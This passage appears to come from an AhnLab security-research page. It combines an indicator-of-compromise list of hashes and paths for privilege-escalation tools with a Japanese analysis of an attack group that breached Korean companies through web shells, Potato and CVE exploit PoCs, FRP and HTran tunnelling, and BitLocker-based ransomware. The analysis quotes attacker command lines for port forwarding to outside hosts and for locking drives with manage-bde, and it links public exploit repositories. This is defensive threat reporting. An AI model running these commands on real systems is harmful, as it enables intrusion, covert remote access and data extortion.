Exploit/Win.BadPotato.R508814 (2022.08.04.01) – Exploit/Win.DcomRpc.R554379 (2023.01.28.00) – Exploit/Win.JuicyPotato.C2724641 (2022.08.09.00) – Exploit/Win.JuicyPotato.C5417758 (2023.04.25.01) – Exploit/Win.JuicyPotato.C5417761 (2023.04.25.01) – Exploit/Win.JuicyPotato.C5445175 (2023.06.23.03) – Exploit/Win.JuicyPotato.R495502 (2022.06.03.01) – Exploit/Win.PetitPotato.C5418234 (2023.04.26.00) – Exploit/Win.PetitPotato.C5418237 (2023.04.26.00) – Exploit/Win.PetitPotato.R575177 (2023.04.26.00) – Exploit/Win.PetitPotato.R588349 (2023.06.23.03) – Exploit/Win.Potato.C5444398 (2023.07.29.00) – Exploit/Win.PrintNotifyPotato.C5418245 (2023.04.26.00) – Exploit/Win.PrintNotifyPotato.R561362 (2023.03.10.00) – Exploit/Win.PrintSpoofer.C5404637 (2023.04.04.00) – Exploit/Win.PrintSpoofer.C5445168 (2023.06.23.03) – Exploit/Win.PrintSpoofer.R346208 (2020.07.29.04) – Exploit/Win.PrintSpoofer.R358767 (2020.12.18.06) – Exploit/Win.PrintSpoofer.R456477 (2021.12.07.00) – Exploit/Win.SharpEfsPotato.C5418239 (2023.04.26.00) – Exploit/Win.SharpEfsPotato.C5418240 (2023.04.26.00) – Exploit/Win.SharpEfsPotato.C5418242 (2023.04.26.00) – Exploit/Win.SharpEfsPotato.C5418243 (2023.04.26.00) – Exploit/Win.SweetPotato.C5405993 (2023.04.06.02) – Exploit/Win.SweetPotato.C5418244 (2023.04.26.00) – HackTool/PowerShell.Ladon.SC187629 (2023.04.04.00) – HackTool/Win.Ladon.R442618 (2021.09.25.00) – HackTool/Win.Netcat.C5283500 (2022.10.18.03) – HackTool/Win.RunAs.C4406737 (2021.04.07.03) – HackTool/Win.RunAs.C5404638 (2023.04.04.00) – HackTool/Win.RunAs.C5417759 (2023.04.25.01) – HackTool/Win.RunAs.C5418233 (2023.04.26.00) – HackTool/Win.RunAs.C5445161 (2023.06.23.03) – Malware/Win.Generic.C4432989 (2021.04.22.01) – Trojan/BIN.Generic (2023.07.28.03) – Trojan/CMD.Agent.SC191319 (2023.07.28.03) – Trojan/Win.Agent.C5418231 (2023.04.26.00) – Trojan/Win.Agent.C5418232 (2023.04.26.00) – Trojan/Win.Escalation.R524707 (2022.10.04.02) – Trojan/Win.Generic.C4491018 (2021.05.26.01) – Trojan/Win.Generic.C5228587 (2022.08.27.01) – Trojan/Win.Generic.R529888 (2022.10.15.04) – Trojan/Win.Mimikatz.R563718 (2023.03.16.02) – Trojan/Win.MSILMamut.C5410538 (2023.04.13.01) – Trojan/Win.PrintSpoofer.R597367 (2023.08.12.03) – Trojan/Win.UserClone.C5192153 (2022.07.04.02) – Trojan/Win32.HDC.C111465 (2011.10.19.00) – Trojan/Win32.Mimikatz.R271640 (2019.05.21.05) – Unwanted/Win32.NTSniff_v110 (2005.03.08.00) – WebShell/ASP.Agent.SC191320 (2023.07.28.03) – WebShell/ASP.Generic (2023.01.27.03) – WebShell/ASP.Generic.S1855 (2022.06.22.03) Behavior Detection – Malware/MDP.SystemManipulation.M1471 – Execution/MDP.Powershell.M2514 – CredentialAccess/MDP.Mimikatz.M4367 IOC MD5 WebShell – 612585fa3ada349a02bc97d4c60de784: D:\***Root_DB\1.aspx – eb1c6004afd91d328c190cd30f32a3d1: D:\**trust\www\photo_upload..1.aspx, D:\**trust\www\photo_upload\1(0).aspx, E:\****Hotel\upload\thanks\test.asp, C:\***Pay15\source\source.asp Potato (BadPotato) – 9fe61c9538f2df492dff1aab0f90579f: %SystemRoot%\debug\wia\badpotatonet2.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\BadPotatoNet2.exe, %ALLUSERSPROFILE%\BadPotatoNet2.exe – ab9091f25a5ad44bef898588764f1990: %ALLUSERSPROFILE%\Microsoft\DeviceSync\BadPotatoNet4.exe Potato (EfsPotato) – 9dc87e21769fb2b4a616a60a9aeecb03: E:\app\Administrator\product\EfsPotato2.0.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\EfsPotato2.0.exe Potato (GodPotato) – 5f3dd0514c98bab7172a4ccb2f7a152d: C:\Oracle\GodPotato-NET2.exe – c7c0e7877388f18a771ec54d18ac56e6: E:\app\g.exe Potato (JuicyPotato) – 2331a96db7c7a3700eb1da4c730e8119: %SystemRoot%\debug\WIA\jpms.log – 8e228104d545608e4d77178381324a0b: %SystemRoot%\debug\wia\juicypotatomsmsmsmsms.exe Potato (JuicyPotatoNG) – 7756312d5da2cfb6a4212214b65b0d9a: %ALLUSERSPROFILE%\microsoft\devicesync\createfiber.log – 15aa2aea896511500027c5b970454c10: %ALLUSERSPROFILE%\usoshared\etwpcreateetwthread1.gif – 72eee0b89c707968fb41083f47739acf: %ALLUSERSPROFILE%\microsoft\devicesync\juicypotatong_ms.exe, %ALLUSERSPROFILE%\USOShared\jpng.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\JuicyPotatoNG_ms.exe, C:\Windows\debug\WIA\JuicyPotatoNG_ms.exe – f530974b0cf773dc2efdff66c2b57e7f: %SystemDrive%\quarantine_mz\registries\1.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\JuicyPotatoNG_ms_ok.exe – 19c5eb467633efb48ceb49db2870de72: %ALLUSERSPROFILE%\Microsoft\DeviceSync\JuicyPotatoNG.exe, C:\Windows\debug\WIA\JuicyPotato_x64.exe – 0ea582880c53419c8b1a803e19b8ab1f: %ALLUSERSPROFILE%\Microsoft\DeviceSync\EtwpCreateEtwThread.log, %ALLUSERSPROFILE%\USOShared\EtwpCreateEtwThread.log – 8017f161b637cb707e3e667252c2235d: %ALLUSERSPROFILE%\USOShared\j.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\JuicyPotatoNG.exe, %SystemRoot%\debug\WIA\JuicyPotatoNG.exe Potato (PetitPotato) – 659d5c63ae9a1a3c5a33badc53007808: %SystemDrive%\quarantine_mz\sd2.gif – 9dc62c3a97269f780eb54ebcd43c77a8: %ALLUSERSPROFILE%\microsoft\devicesync\test.gif – bffe140d2e2a7f44cbe3e3bf9b50f3b5: %ALLUSERSPROFILE%\microsoft\devicesync\1.exe – d66dfce79df451f797775335fac67e9d: %ALLUSERSPROFILE%\microsoft\devicesync\3.exe – 435351d097dcc253e48b89575a40427c: E:\****check_ASP_N\123.doc – 66379480d44ad92c07f6b5a9dfb3df3d: E:\****check_ASP_N\test.gif – 4875e5a46aec782f7e4cfb2028e6426a: E:\****check_ASP_N\p.gif Potato (PrintNotifyPotato) – fad4ea01a92d0ede3f75d13b1a96238b: %ALLUSERSPROFILE%\PrinterNotifyPotato.exe – 7600f8875fb23a6057354c3426b1db79: %ALLUSERSPROFILE%\ahnlab\ais\p.log, %ALLUSERSPROFILE%\USOShared\p.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\PrintNotifyPotato2.0.vmp.exe – 98154aeaec8aba3c376c7c76e11a2828: %ALLUSERSPROFILE%\USOShared\pp.exe Potato (SharpEfsPotato) – 661126f645c5eb261b0651744a17e14b: %ALLUSERSPROFILE%\microsoft\devicesync\20230404.log, %ALLUSERSPROFILE%\ahnlab\ais\v3.log – 63294f453901077fcb62eeb5c84e53d1: %ALLUSERSPROFILE%\ahnlab\ais\sep_vmp.sln – 69bde490dc173dbed98b2decacd586c4: %ALLUSERSPROFILE%\ahnlab\ais\result.log – e8e00a5771cafa4fb9294fea549282de: E:\****check_ASP_N\NtQueueApcThreadEx.log – 227df13221db37ab9673ae1af4e6278a: E:\****check_ASP_N\HeapAlloc.jpg, %ALLUSERSPROFILE%\USOShared\h.gif – c9dc55872982efcadba4ce197ba34fbd: E:\****check_ASP_N\pp.gif Potato (SweetPotato) – 021924959a870354cc6c9a54fe7dcf83: C:\Quarantine_MZ\123.gif, %ALLUSERSPROFILE%\Microsoft\DeviceSync\SweetPotato_4.7.2.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\SweetPotato_4.7.2_original.exe – bcb6dbd50b323ea9a6d8161a7e48f429: E:\****check_ASP_N\EtwpCreateEtwThread.jpg – a7db0665564b2519ef5eef6627c716db: %ALLUSERSPROFILE%\USOShared\Logs\vmp1.log PrintSpoofer – 7e9125c89d7868f17813ed8c1af2e2c1: %ALLUSERSPROFILE%\USOShared\PrintSpoofer928.exe, %ALLUSERSPROFILE%\microsoft\devicesync\printspoofer911.exe, %SystemRoot%\debug\wia\printspoofer928.exe, %ALLUSERSPROFILE%\usoshared\logs\vmp2.log, C:\Windows\debug\WIA\p.log – 96b3b2ccb2687a9e2a98ac87a788dda8: %SystemRoot%\debug\WIA\PrintSpoofer.exe – 108da75de148145b8f056ec0827f1665: %ALLUSERSPROFILE%\Microsoft\DeviceSync\PrintSpoofer64.exe – 2a74db17b50025d13a63d947d8a8f828: %ALLUSERSPROFILE%\Microsoft\DeviceSync\PrintSpoofer32.exe – a9b21218f4d98f313a4195a388e3bfbb: C:\Windows\debug\WIA\PrintSpoofer928.exe, C:\Windows\debug\WIA\12.zxz, C:\Windows\debug\WIA\928.exe, %ALLUSERSPROFILE%\AhnLab\AIS\2.log, %ALLUSERSPROFILE%\USOShared\Logs\vmp2.log, %ALLUSERSPROFILE%\USOShared\2.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\PrintSpoofer928.exe, E:\****check_ASP_N\p.log COMahawk (CVE-2019-1405, CVE-2019-1322) – 6a60f718e1ecadd0e26893daa31c7120: %SystemRoot%\debug\WIA\COMahawk64.exe CVE-2020-0787 – d72412473d31ec655ea88833fe596902: %SystemRoot%\debug\wia\cve-2020-0787-x64.exe IIS LPE (by k8gege) – 347742caff6fb0f8c397c0a772e29f3f: %SystemRoot%\debug\WIA\716.logs Persistence – aa3a20597084944fdcbe1c3894fd7ab5: WebShell (SCF1.dat) – bff58f5b6e3229d11b6ffe5b5ea952b5: Config (SCFConfig.dat) – 9cea04db9defe9e4f723c39a0ca76fb3: Scheduled Batch (winrmr.cmd) Privilege Copying Malware – 95a0ea8e58195d1de2e66ca70ab05fe5: %SystemDrive%\quarantine_mz\guest.exe – 47ea1e6b805ba9c3f26a39035b3d35a0: %SystemDrive%\quarantine_mz\folders\guestreg.exe User Clone – 0d341f48a589ef7d42283c0aa2575479: %ALLUSERSPROFILE%\AhnLab\AIS\1.log, %ALLUSERSPROFILE%\Microsoft\DeviceSync\UserClone912.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\UserClone.exe, C:\Windows\debug\WIA\UserClone.exe – 5fd57ab455c62373e2151f7b46b183d2: %ALLUSERSPROFILE%\Microsoft\DeviceSync\UserClone9111.exe – 29ad1b38046f5af2fb715c21741e6878: %ALLUSERSPROFILE%\Microsoft\DeviceSync\UserClone911.exe, C:\Windows\debug\WIA\UserClone911.exe Mimikatz – 3c051e76ba3f940293038a166763a190: E:\****Hotel\mimikatz.exe, E:\****Hotel\m.gif, C:\Oracle\product\m.exe – e387640e3f911b6b41aa669131fa55d4: C:\Oracle\product\mz64_ms_all.log, %ALLUSERSPROFILE%\Microsoft\DeviceSync\mz64_ms_all.log – 7353af8af2d7ce6c64018d9618161772: C:\***\****lus\mz64_ms_all.exe, C:\Windows\debug\WIA\mz64_ms_all.exe RunasCs – 4d04fa35ed26b113bb13db90a7255352: E:\****Hotel\app\runascs_net2.exe – 09ab2d87eb4d3d8ea752cbe6add18fd2: E:\****Hotel\app\Runas.exe – 80f5d6191c8cc41864488e2d33962194: C:\***pay50\sample\sample.html, C:\**Update\bin\Upddater.dll, C:\Windows\debug\WIA\dllhost.exe, C:\***das\FreeLibs\AspUpload\Clash.exe, C:\***\****lus\bin\kcp.dll, C:\***Pay40\source\Clash.exe, C\Windows\debug\WIA\wiatrace.log Sy_Runas – 5a163a737e027dbaf60093714c3a021f: e:\app\sy_runas_.exe, %SystemRoot%\system32\spool\drivers\color\d35.camp, %ALLUSERSPROFILE%\microsoft\devicesync\1.exe – a49d10b6406a1d77a65aa0e0b05154c3: %ALLUSERSPROFILE%\oracle\java\java.txt, %SystemRoot%\debug\wia\wiatrace.log, C:\Windows\debug\WIA\Sy_Runas.exe – c7c00875da50df78c8c0efc5bedeaa87: E:\****Hotel\app\sy_runasnew.exe, %ALLUSERSPROFILE%\usoshared\logs\user\notifyicon.000.etl, e:\win64_*****_client\client\stage\services.exe, e:\win64_*****_client\client\stage\setup.exe, e:\****hotel\app\s.exe, e:\****hotel\app\app.asp – e77093c71dc26d0771164cdaa9740e49: C:\Windows\debug\WIA\wiatrace.log NetCat – 5584853a1191ad601f1c86b461c171a7: %SystemRoot%\debug\wia\nc1.exe, %SystemDrive%\oracle\product\nc1.exe – e2b4163992da996ca063d329206a0309: %SystemRoot%\debug\wia\nc.exe – 523613a7b9dfa398cbd5ebd2dd0f4f38: E:\****check_ASP_N\nc64.exe Ladon (by k8gege) – 2b399abe28dbe11ca928032bea30444a: %SystemRoot%\debug\WIA\Ladon911.exe – 734c96f4def9de44aa6629df285654d9: %SystemRoot%\debug\WIA\Ladon.exe – 47d59e43e1485feb98ff9c84fc37dc3b: PowerLadon (memory) Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information.
ASEC <strong>韓国国内の企業をターゲットにした FRP(Fast Reverse Proxy)を使用する攻撃グループ</strong> 2022-08-31
最近、外部に公開された脆弱なサーバーを手掛かりに侵入した攻撃者が、内部ネットワークまで掌握する侵害事例が、韓国国内の企業を対象に頻繁に起きている。 脆弱な Atlassian Confluence サーバーをターゲットにした攻撃事例 韓国国内の医療機関の脆弱なサーバをターゲットに拡散する Meterpreter 脆弱な MySQL サーバーをターゲットに拡散している AsyncRAT マルウェア 今回の事例は IIS Web サーバーや MS Exchange サーバーの侵害事例として過去に認知されているタイプと同じだが、個人ではなく 特定の攻撃グループと推定 される事例を紹介する。このグループの最大の特徴は、 FRP オープンソースツールを使用 するという点である。このグループは、外部からアクセス可能なサーバーを見つけて攻撃し、侵入に成功すると権限昇格を試みる。 その後、より完全なアクセス制御のために FRP(Fast Reverse Proxy)や LCX(Htran と呼ばれる)ツールをインストールするが、特に FRP ツールを主に使用している。また、FRP をインストールするときに特定のダウンロードアドレスを使用するが、FRP がアップロードされているダウンロードサーバーは 韓国国内企業の Web サーバーであり、攻撃者がすでに掌握したあとで悪用 しているものと見られる。この他にも FRP をインストールする際に 特定のファイル名を使用 したり、別の韓国国内企業のサーバーを掌握して FRP を使用するときに必要な 中継サーバーとして悪用 したという点が特徴である。 現在侵害が発生したと推定される企業は 半導体企業、射出成形機企業、リゾート企業、建設企業、ソフトウェア企業等の20か所余りで、攻撃者は具体的な分野に絞らず攻撃を試みた ものと見られる。特に今回のケースは外部の脆弱なサーバーを皮切りに、最終段階のランサムウェアにまで感染した事例があるため、特に注意が必要である。 1. ASP Web シェル 脆弱な Web サーバーを対象とする攻撃のほとんどには、Web シェルが利用される。Web シェルは Web サーバーにアップロードされ、ファイルの検索やシステムのシェルコマンドを実行できるようにするファイルであり、攻撃対象のシステムにインストールされると、攻撃者は持続性を維持しながら感染先のシステムをコントロールできる。 Web サーバーによってサポートする言語が異なるが、それはつまり Web シェルの言語も異なることを意味する。例えば PHP をサポートする Apache Web サーバーでは PHP Web シェルが使用され、Tomcat のような Java 環境では JSP、IIS Web サーバーは ASP および ASPX で開発された Web シェルが使用される。 ここでは脆弱な IIS Web サーバーを対象に攻撃を行った事例を取り上げるため、ASPX(ASP) Web シェルが攻撃に使用されている。ASPXSpy は代表的な ASPX Web シェルであり、攻撃者が多数の攻撃に使用してきた履歴が確認されている。 i. ASPXSpy [図1] AspxSpy Web シェルのルーティン ASPXSpy はパスワードを必要とするため、インストールされたパスに接続したあと、パスワード入力ウィンドウで正確なパスワードを入力することで、以下のようなコントロールパネルを使用できる。(参考に、パスワードは MD5 のハッシュ値を比較して検証するが、上記の Web シェルは攻撃者がパスワードを変更したものであり「admin」ではない) [図2] AspxSpy Web シェルを利用した遠隔操作 攻撃者はこのパネルから情報照会、ファイル生成、プロセスの実行のような様々な不正な振る舞いを実行できる。 2. 権限昇格 アップロードされた Web シェルは IIS Web サーバープロセス、すなわち w3wp.exe プロセスにより実行される。一般的に w3wp.exe プロセスは低いレベルの権限を持っているため、不正な振る舞いを正常に実行するためにはより高い権限を必要とする。そのため、攻撃者は様々なツールを利用して高い権限を取得する権限昇格プロセスが必要である。 [図3] Web サービスのアカウントにより実行される IIS Web サーバープロセス 攻撃者は一般的に JuicyPotato、SweetPotato のようなマルウェアを利用しており、これ以外にも様々なローカル権限昇格(LPE:Local Privilege Escalation)の脆弱性 PoC を使用した履歴も確認されている。ここでは、権限昇格段階において使用されたそれぞれの事例についてまとめる。 [図4] Web シェルで whoami コマンドを利用して権限を確認 2.1. Potato Potato は Github に公開されたオープンソースの権限昇格(Privilege Escalation)ツールである。現在実行中のプロセスのアカウントのトークンのうち、特定の権限(Privilege)を悪用する方式であり、システム権限により権限を昇格させる機能を提供する。 [図5] w3wp.exe サーバープロセスの Privilege リスト IIS Web サーバーでは w3wp.exe プロセスが Web サービスを担当し、MS-SQL サーバーでは sqlservr.exe プロセスが MS-SQL サービスを担当する。例えば w3wp.exe プロセスは IIS Apppool\DefaultAppPool がサブジェクトとして実行されるが、この場合は一般的な管理者や標準のユーザーアカウントとは異なり、プロセスおよびファイルのような様々な機能を実行するのに制約がともなう。 すなわち、攻撃者は Web シェルや辞書攻撃によって当該プロセスを制御できたとしても適切な権限が存在しないため、意図した不正な振る舞いを実行させることはできない。そのために権限の昇格が必要となるが、一般的に w3wp.exe プロセスや sqlservr.exe プロセスが SeAssignPrimaryToken または SeImpersonate 権限を持っている。ほとんどの Potato ツールはこのように SeAssignPrimaryToken または SeImpersonate 権限が有効になっているプロセスを悪用し、システム権限、すなわち NTAUTHORITY\SYSTEM アカウントに権限を昇格し、成功すると攻撃者は当該システム内で制約を受けることなくほとんどの不正な振る舞いを実行できる。 Potato 権限昇格ツールは JuicyPotato、RoguePotato、RottenPotato 等、複数の種類がある。しかし、韓国国内で確認されたほとんどの事例の場合、3つの種類の Potato ツールが使用されていた。 Potato 種類 MD5 JuicyPotato 0311ee1452a19b97e626d24751375652 808502752ca0492aca995e9b620d507b 4bafbdca775375283a90f47952e182d9 BadPotato 9fe61c9538f2df492dff1aab0f90579f ab9091f25a5ad44bef898588764f1990 87e5c9f3127f29465ae04b9160756c62 SweetPotato fd0f73dd80d15626602c08b90529d9fd 937435bbcbc3670430bb762c56c7b329 [表1] 攻撃に使用された Potato ツール 2.2. 脆弱性 (エクスプロイト) 攻撃者は Potato タイプのマルウェア以外にも、Github に公開されている様々な権限昇格の脆弱性(LPE:Local Privilege Escalation)の PoC を利用している。以下は、攻撃に使用された脆弱性とそれぞれの脆弱性を悪用する PoC マルウェアのリストである。 脆弱性 タイプ MD5 備考 CVE-2018-8440 LPE 4c56462a3735dba9ee5f132f670e3fb1 https://github.com/alpha1ab/Win2016LPE CVE-2019-1405 + CVE-2019-1322 LPE 2e2ddfd6d3a10d5dd51f8cbdeaeb4b75 6a60f718e1ecadd0e26893daa31c7120 https://github.com/apt69/COMahawk CVE-2021-1675 LPE e81a9b194cf1bcd4f1bbf21338840ece https://github.com/evilashz/CVE-2021-1675-LPE-EXP CVE-2021-1732 LPE d406d8889dc1f2d51954808f5587415d ed1762b09d0a966d7a2d6c9167ea5499 https://github.com/KaLendsi/CVE-2021-1732-Exploit CVE-2021-36934 LPE 055cc4c30260884c910b383bb81cf7c8 https://github.com/GossiTheDog/HiveNightmare CVE-2021-40449 LPE b08b660ed646c390d5a254070123c74c https://github.com/ly4k/CallbackHell CVE-2022-21882 LPE 018dd881f5bf9181b70f78d7d38bd62a https://github.com/sailay1996/cve-2022-21882-poc CVE-2022-21999 LPE 31eb70dc11af05ec4d5cda652396970c b77e3a7e13e39829383fabf436e9c8f2 (Payload) https://github.com/ly4k/SpoolFool [表2] 攻撃に使用された脆弱性 PoC マルウェア 以下は CVE-2021-1732 の脆弱性を利用して権限を昇格する PoC である。権限を昇格したあと、引数として渡された whoami を実行し、結果として、システムアカウントへの権限昇格に成功していることがわかる。 [図6] CVE-2021-1732 PoC マルウェア 以下は CVE-2022-21999 PoC であり、権限の昇格後に指定した DLL をロードしてマルウェアを実行させることができる。攻撃に使用された DLL は PoC と同じだが、DLL は admin アカウントを生成してパスワードを Passw0rd! に設定する機能を担う。その後、攻撃者はこのようにして登録されたアカウントでリモートアクセスを行い、感染先のシステムを掌握することができる。 [図7] CVE-2022-21999 PoC マルウェア 3. プロキシ & ポートフォワーディング 3.1. FRP FRP(Fast Reverse Proxy)は主に、直接通信が不可能なイントラネット PC に外部からアクセスが可能なように中継サーバーを配置して構成するオープンソースツールである。すなわち、攻撃対象 PC のファイアウォールのインバウンド規則を回避したり、対象 PC(Victim)に攻撃者のアドレスを残さない特徴を持っており、以前から攻撃者たちによって頻繁に使用されている。 [図8] FRP オープンソースツール( https://github.com/fatedier/frp ) Frp は大きく分けて Frps と Frpc の2種類がある。Frps は中継サーバーにインストールされるファイルで、攻撃者と攻撃対象の接続を成立させる役割を担い、設定には「Frps.ini」を参照してユーザーが任意に設定できる。これで、接続ポートおよびロギング方法等を決定する。したがって、Frps は攻撃者と攻撃対象 PC の両方がアクセス可能な中継サーバーにインストールされなければならない。 Frpc は攻撃者が攻撃しようとする対象の PC にインストールされるファイルであり、設定には Frps の設定方法と同じく「Frpc.ini」を通じて TCP や UDP、HTTP 等、攻撃者が使用するネットワーク通信の方法と Frps に使用されるポート番号(remote_port)と、実際のポート番号(local_port)等をユーザーが任意に設定できる。悪用される場合は、通常外部から直接接続することが困難な NAT 環境の企業 PC にインストールされる。 FRP 接続プロセスは以下の通りである。 [図9] FRP を利用した RDP 接続プロセス(X、Y、Z は任意のポート番号) 上図を参照すると、まず Frps.exe を中継サーバーにインストールする。Frps.exe は Frps.ini 設定ファイルを参照して Frpc.exe がアクセスできるように接続ポート(7000番)を開放して接続を待機する。その後、攻撃対象の PC にインストールされている Frpc.exe を実行させて中継サーバー(Frps.exe)との接続を試みるが、これは攻撃者と攻撃対象の PC を間接的に接続するため、Reverse Proxy 方式を用いる。中継サーバーと攻撃対象の PC の接続が完了すると、攻撃者は特定のプロトコル(RDP)で中継サーバーの特定ポート(23389番)に接続を試みる。 中継サーバーは特定ポート(23389番)をモニタリングし、接続が確認されると当該データを接続ポート(7000番)を通じて攻撃対象の PC に伝達する。その後データを受け取った攻撃対象の PC では、当該プロトコル(RDP)に合ったローカルポート(3389番)にフォワードしてタスクを完了する。したがって、以下のように接続が可能となる。 [図10] RDP 接続の完了(6段階) FRP ツールは、攻撃者たちが主に「リモートデスクトップ接続」のために使用している。リモートデスクトップ接続は Windows がデフォルトで提供しているツールであり、RDP 通信を利用して遠隔地のサーバーを直接使用しているかのように接続する方法をいう。しかしながら、企業の場合はネットワーク構成の際にネットワークを分離したりファイアウォールを使用したりして、外部からの直接的なアクセスができないように設計されている。したがって、攻撃者は直接アクセスするのが困難な企業環境の PC に Frpc をインストールし、Frps は外部からのアクセスが可能であり、かつ当該 PC との接続が可能な中継サーバーにインストールして RDP 通信を試みるのである。 FRP を使用した特定の攻撃グループは、以下のような特徴を持っている。 1) Frpc のファイル名、ファイルパスが同じ 2) Frpc のダウンロード URL が同じ 3) 韓国国内企業のサーバーを中継サーバー(Frps)として使用 まずは、韓国国内の侵害を受けた企業において確認された Frpc のインストール先である。 %ALLUSERSPROFILE%\update.exe %ALLUSERSPROFILE%\info.zip %ALLUSERSPROFILE%\f.zip %ALLUSERSPROFILE%\t.zip %ALLUSERSPROFILE%\frpc.exe %SystemDrive%\perflogs\update.exe %SystemDrive%\temp\update.exe %SystemDrive%\temp\info.zip %SystemRoot%\temp\frpc.exe [表3] 攻撃者がよく使用する Frpc.exe のダウンロードパス 上記[表3]の赤文字は多くの企業で共通して確認されたファイル名であり、特定グループの攻撃者は主に Frpc ファイルを update.exe(update.zip) あるいは info.exe(info.zip) の名前でインストールしている。また、攻撃者が使用した Frpc ダウンロード URL は、韓国国内の侵害を受けた企業のサーバーを悪用していることが確認された。 – hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/info.zip – hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/update.zip – hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/f.zip [表4] 攻撃者が使用した Frpc のダウンロード URL (要検討) この他にも、攻撃者は外部から接続が可能な PC であっても FRP を通じて接続するように設定しているが、FRP で使用される中継サーバー(Frps)のプログラムを特定の韓国国内企業にインストールしていることから、韓国国内の IP によって疑われる事を避けることで接続を維持し、また自分たちの IP を隠蔽するために使用しているものと推定される。したがって、Frps がインストールされた韓国国内企業のサーバーも攻撃者によって掌握されているものと思われる。 2022年、韓国国内企業のサーバーのうち中継サーバーとして利用された企業は、現在まで2か所確認されている。下図のように、Remote IP と確認されるサーバーが中継サーバーで Frps がインストールされ、左の Local IP が攻撃者の操作対象となる Frpc がインストールされたサーバーである。 [図11] 2022年、韓国国内の企業を中継サーバー(Frps)として使用した事例 これらの中継サーバーは、以下のように接続が可能である。 [図12] 中継サーバーの役割(Frps)をする、接続可能な韓国国内企業 A のサーバー 3.2. HTran(LCX) ポートフォワーディングとは、特定のポートから渡されたデータを別のポートに伝達する機能である。このようなポートフォワーディングをサポートする代表的なツールとしては、過去から使用されている HTran があり、ソースコードが公開されているため、様々な攻撃者たちによって最近でも使用されている。 ここでは、当該ツールに関する簡単な情報と共に、攻撃者がこれを利用した実際の攻撃事例を取り上げる。まず、HTran は以下のように3つのモードがサポートされている。 [図13] HTran の使用法 このうち、「-tran」モードは特定のポートから渡されたデータを特定のアドレスに伝達する機能を提供する。以下のコマンドラインは、実際に攻撃者が HTran を rdpclip という名前で生成したあとで実行したコマンドである。参考に、rdpclip は攻撃者がソースコードを改ざんして引数からオプションを削除しており、代わりに引数の個数を利用してどのような機能なのかを把握して動作する。 > %SystemRoot%\debug\rdpclip 110 127.0.0.1 3389 このような引数を受け取って実行される場合、110番ポートにバインドされているが、外部の攻撃者が110番ポートに接続する場合、ローカルの3389番ポートにフォワーディングする。これによって攻撃者は感染先のシステムに RDP を接続する際、3389番ポートの代わりに110番ポートに接続しても、正常にリモートデスクトップを使用することができる。 以下は、攻撃に使用された rdpclip を利用したテストである。ここではローカルシステムの4444番ポートとローカルシステムの80番ポートをフォワーディングするコマンドを実行した。この場合、外部から「192.168.204.131:4444」アドレスに接続しても「192.168.204.131:80」ポートに接続した時と同じ結果が得られる。 [図14] ポートフォワーディングを利用したテスト 次に、「-listen」モードだが、引数で2つのポート番号を渡され、それぞれのポートにバインドして待機する。2つの引数によりすべての接続が確立すると、2つのうち一方のポートから渡されたデータを別のポートにフォワーディングする。一般的に「-listen」モードは「-slave」モードと同時に使用されるものと思われる。「-slave」モードは「-tran」モードと類似しているが、「-tran」モードがローカルシステムの特定ポートを開放して待機するのに対し、「-slave」は指定したアドレスに直接接続する。 以下は上記と同じマルウェアであり、名前だけが「p」に変更されて引数でモードの種類を伝達されないが、個数が4個であることにより「-slave」モードで実行される。このような引数を受け取って実行される場合 A( 1**.**.***.*8 ):1000 のアドレスに接続を試み、接続が確立するとローカルシステムの3389番ポートにフォワーディングする。 > p 1**.**.***.*8 1000 127.0.0.1 3389 システム A:1000 では以下のように HTran が「-listen」モードで実行中と思われる。(例示のために最初の引数を80で使用)これにより、攻撃者は A:80 のアドレスにアクセスして攻撃対象のシステムに RDP 接続が可能になる。 A で実行中だった HTran が80番ポートから渡されたデータを1000番ポートに伝達し、1000番ポートは攻撃対象のシステムで実行中の HTran と接続されているためである。最終的に攻撃対象のシステムの HTran は渡されたデータをローカルシステムの3389番ポートへフォワーディングする。 > HTran.exe 1000 80 以下は、別の例示である。c.txt が HTran であり、特に修正事項がない形として「-slave」と同じ引数もそのまま使用する。以下のコマンドによって実行された HTran は B( 1**.***.**.*3 ):443 のアドレスと C (2**.***.**.6 ):1433 のアドレスの間で、プロキシとして動作する。すなわち、攻撃者は B の特定アドレスにアクセスすることにより C:1433 すなわち C システムの MS-SQL サーバーにアクセスできるようになる。 > %SystemDrive%\webdriver\chrome\c.txt -slave 1**.***.**.*3 443 2**.***.**.6 1433 [図15] 攻撃者が使用した HTran のコマンド[그림 15] 공격자가 사용한 HTran 명령 4. ランサムウェアの感染事例(BitLocker) 現在までに確認されている事例のうち、当該グループによるランサムウェアへの感染事例はまだそれほど多くはない。攻撃グループはランサムウェアを新たに作成せず、Windows の正常な暗号化プログラムである BitLocker を悪用してディスクの暗号化を実行している。BitLocker は Windows が独自に提供するディスク暗号化ツールで、本来はディスクのセキュリティのために使用されるものである。これはコマンドライン方式をサポートしているが、基本的に Manage-bde というコマンドを使用して BitLocker 機能を使用することができ、ドライブをロックするとアクセスする際に暗号が必要である。 攻撃者は、以下のようなコマンドによって暗号化を実行した。暗号は、以下のコマンドを入力すると GUI ウィンドウを通じて設定できる。 (F: ドライブ名は一例) CMD> “C:\Windows\System32\BitLockerWizardElev.exe” F:\ T F: ドライブボリュームの暗号化および使用する暗号の入力 [図16] コマンドライン入力時の暗号入力ウィンドウ ドライブの暗号化設定後、以下のコマンドのように lock を通じてドライブにアクセスができないようにする。 CMD> manage-bde -lock -ForceDismount F: F: ドライブボリュームのロック設定(アクセス不可) したがって、ロックが完了するとユーザーは暗号を入力しないとアクセスができない。 [図17] ドライブのロック完了 攻撃者が使用したランサムノートは、以下の通りである。 [図18] 攻撃者のランサムノート[그림 18] 공격자의 랜섬노트 今回の事例における攻撃プロセスを要約すると、攻撃者は IIS Web サーバーや MS Exchange サーバーのような外部からのアクセスが可能な、脆弱な企業 PC をターゲットにスキャンして攻撃を試みる。その後、Web 